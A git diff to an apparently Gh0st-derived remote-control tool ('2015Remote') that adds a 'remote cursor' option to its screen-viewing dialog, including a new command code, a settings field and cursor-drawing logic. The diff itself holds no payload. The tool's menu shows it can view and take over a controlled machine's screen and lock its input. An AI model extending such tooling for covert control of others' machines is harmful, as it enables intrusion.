diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 70eb21e..a2272be 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -100,6 +100,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan m_ScreenSettings.ScreenWidth = cfg.GetInt("settings", "ScreenWidth", 0); m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0); m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", 0); + m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0); m_hWorkThread = __CreateThread(NULL,0, WorkThreadProc,this,0,NULL); } @@ -535,6 +536,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ScreenSettings.FullScreen = fullScreen; break; } + case CMD_REMOTE_CURSOR: { + int remoteCursor = szBuffer[1]; + iniFile cfg(CLIENT_PATH); + cfg.SetInt("settings", "RemoteCursor", remoteCursor); + m_ScreenSettings.RemoteCursor = remoteCursor; + break; + } case CMD_MULTITHREAD_COMPRESS: { int threadNum = szBuffer[1]; m_ClientObject->SetMultiThreadCompress(threadNum); diff --git a/common/commands.h b/common/commands.h index 4d5c67b..d75eb2d 100644 --- a/common/commands.h +++ b/common/commands.h @@ -202,6 +202,7 @@ enum { CMD_UNCOMPRESS_FILES = 73, // 解压文件 CMD_SCREEN_SIZE = 74, CMD_FULL_SCREEN = 75, + CMD_REMOTE_CURSOR = 76, // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 @@ -922,7 +923,8 @@ typedef struct ScreenSettings { int ScreenWidth; // 屏幕宽度 int ScreenHeight; // 屏幕高度 int FullScreen; // 全屏模式 - char Reserved[76]; // 保留字段 + int RemoteCursor; // 使用远程光标 + char Reserved[72]; // 保留字段 } ScreenSettings; #pragma pack(push, 1) diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 69bfb47..ed1fe3e 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -37,6 +37,7 @@ enum { IDM_FPS_UNLIMITED, IDM_ORIGINAL_SIZE, IDM_SCREEN_1080P, + IDM_REMOTE_CURSOR, }; IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) @@ -162,6 +163,7 @@ void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog) ON_WM_CLOSE() ON_WM_PAINT() + ON_WM_SETCURSOR() ON_WM_SYSCOMMAND() ON_WM_HSCROLL() ON_WM_VSCROLL() @@ -242,6 +244,7 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->AppendMenu(MF_SEPARATOR); SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)"); SysMenu->AppendMenu(MF_STRING, IDM_FULLSCREEN, "全屏(&F)"); + SysMenu->AppendMenu(MF_STRING, IDM_REMOTE_CURSOR, "使用远程光标(&C)"); SysMenu->AppendMenu(MF_STRING, IDM_ADAPTIVE_SIZE, "自适应窗口大小(&A)"); SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪被控端鼠标(&T)"); SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定被控端鼠标和键盘(&L)"); @@ -258,6 +261,9 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->AppendMenu(MF_STRING, IDM_SCREEN_1080P, "限制为1080P(&4)"); SysMenu->AppendMenu(MF_SEPARATOR); + SysMenu->CheckMenuItem(IDM_FULLSCREEN, m_Settings.FullScreen ? MF_CHECKED : MF_UNCHECKED); + SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED); + CMenu fpsMenu; if (fpsMenu.CreatePopupMenu()) { fpsMenu.AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10"); @@ -477,12 +483,14 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame) m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0]; if (bOldCursorIndex != m_bCursorIndex) { bChange = TRUE; - if (m_bIsCtrl && !m_bIsTraceCursor)//替换指定窗口所属类的WNDCLASSEX结构 + if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构 + HCURSOR cursor = m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex); #ifdef _WIN64 - SetClassLongPtrA(m_hWnd, GCLP_HCURSOR, (ULONG_PTR)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); + SetClassLongPtrA(m_hWnd, GCLP_HCURSOR, (ULONG_PTR)cursor); #else - SetClassLongA(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex)); + SetClassLongA(m_hWnd, GCL_HCURSOR, (LONG)cursor); #endif + } } // 屏幕是否变化 @@ -606,22 +614,45 @@ void CScreenSpyDlg::OnPaint() StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY) : BitBlt(m_hFullDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY); - if (m_bIsTraceCursor) - DrawIconEx( - m_hFullDC, - m_ClientCursorPos.x - m_ulHScrollPos, - m_ClientCursorPos.y - m_ulVScrollPos, - m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), - 0,0, - 0, - NULL, - DI_NORMAL | DI_COMPAT - ); + if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) { + CPoint ptLocal; + GetCursorPos(&ptLocal); + ScreenToClient(&ptLocal); + + CRect rcToolbar(0, 0, 0, 0); + if (m_pToolbar) m_pToolbar->GetWindowRect(&rcToolbar), ScreenToClient(&rcToolbar); + // 只有当本地鼠标不在工具栏区域时,才绘制远程位图光标 + if (!rcToolbar.PtInRect(ptLocal)) { + + // 1. 计算缩放位置 + int drawX = m_bAdaptiveSize ? (int)(m_ClientCursorPos.x / m_wZoom) : (m_ClientCursorPos.x - m_ulHScrollPos); + int drawY = m_bAdaptiveSize ? (int)(m_ClientCursorPos.y / m_hZoom) : (m_ClientCursorPos.y - m_ulVScrollPos); + + // 2. 强制绘制 + DrawIconEx( + m_hFullDC, + drawX, + drawY, + m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), + 0, 0, 0, NULL, DI_NORMAL | DI_COMPAT + ); + } + } if (!m_bConnected && GetTickCount64() - m_nDisconnectTime>2000) { DrawTipString("正在重连......", 2); } } +BOOL CScreenSpyDlg::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message) +{ + if ((m_bIsCtrl && m_Settings.RemoteCursor) && nHitTest == HTCLIENT) + { + ::SetCursor(NULL); // 只要在客户区,始终隐藏系统光标 + return TRUE; // 告诉 Windows 我们处理过了 + } + return CDialog::OnSetCursor(pWnd, nHitTest, message); +} + VOID CScreenSpyDlg::DrawTipString(CString strString, int fillMode) { // fillMode: 0=不填充, 1=全黑, 2=半透明 @@ -716,6 +747,12 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) m_ContextObject->Send2Client(cmd, sizeof(cmd)); break; } + case IDM_REMOTE_CURSOR: { + BYTE cmd[4] = { CMD_REMOTE_CURSOR, m_Settings.RemoteCursor = !m_Settings.RemoteCursor }; + SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED); + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + break; + } case IDM_SAVEDIB: { // 快照保存 SaveSnapshot(); break; @@ -1224,7 +1261,25 @@ BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt) void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point) { - if (!m_bMouseTracking) { + if (m_Settings.RemoteCursor) { + if (m_pToolbar != NULL && ::IsWindow(m_pToolbar->m_hWnd) && m_pToolbar->IsWindowVisible()) + { + CRect rcToolbar; + m_pToolbar->GetWindowRect(&rcToolbar); + ScreenToClient(&rcToolbar); // 转换到主窗口坐标系 + + if (rcToolbar.PtInRect(point)) + { + // 如果鼠标在工具栏区域,直接显示本地光标并返回,不发送远程指令 + ::SetCursor(LoadCursor(NULL, IDC_ARROW)); + return; + } + } + if (m_bIsCtrl) { + // 关键:在控制模式下,强制设置光标为空,隐藏本地物理箭头 + ::SetCursor(NULL); + } + }else if (!m_bMouseTracking) { m_bMouseTracking = true; SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); } diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index 380cf2f..59568e4 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -143,6 +143,7 @@ public: virtual BOOL OnInitDialog(); afx_msg void OnClose(); afx_msg void OnPaint(); + BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); virtual BOOL PreTranslateMessage(MSG* pMsg); void OnLButtonDblClk(UINT nFlags, CPoint point); diff --git a/server/2015Remote/ToolbarDlg.cpp b/server/2015Remote/ToolbarDlg.cpp index 918b69f..ae76646 100644 --- a/server/2015Remote/ToolbarDlg.cpp +++ b/server/2015Remote/ToolbarDlg.cpp @@ -6,9 +6,10 @@ IMPLEMENT_DYNAMIC(CToolbarDlg, CDialogEx) -CToolbarDlg::CToolbarDlg(CWnd* pParent) +CToolbarDlg::CToolbarDlg(CScreenSpyDlg* pParent) : CDialogEx(IDD_TOOLBAR_DLG, pParent) { + m_pParent = pParent; } CToolbarDlg::~CToolbarDlg() diff --git a/server/2015Remote/ToolbarDlg.h b/server/2015Remote/ToolbarDlg.h index d5aa980..da9b462 100644 --- a/server/2015Remote/ToolbarDlg.h +++ b/server/2015Remote/ToolbarDlg.h @@ -1,6 +1,8 @@ #pragma once #include "Resource.h" +class CScreenSpyDlg; + class CToolbarDlg : public CDialogEx { DECLARE_DYNAMIC(CToolbarDlg) @@ -8,7 +10,8 @@ private: int m_lastY = 0; // 记录上一次的 Y 坐标 public: - CToolbarDlg(CWnd* pParent = nullptr); + CScreenSpyDlg* m_pParent = nullptr; + CToolbarDlg(CScreenSpyDlg* pParent = nullptr); virtual ~CToolbarDlg(); enum { IDD = IDD_TOOLBAR_DLG };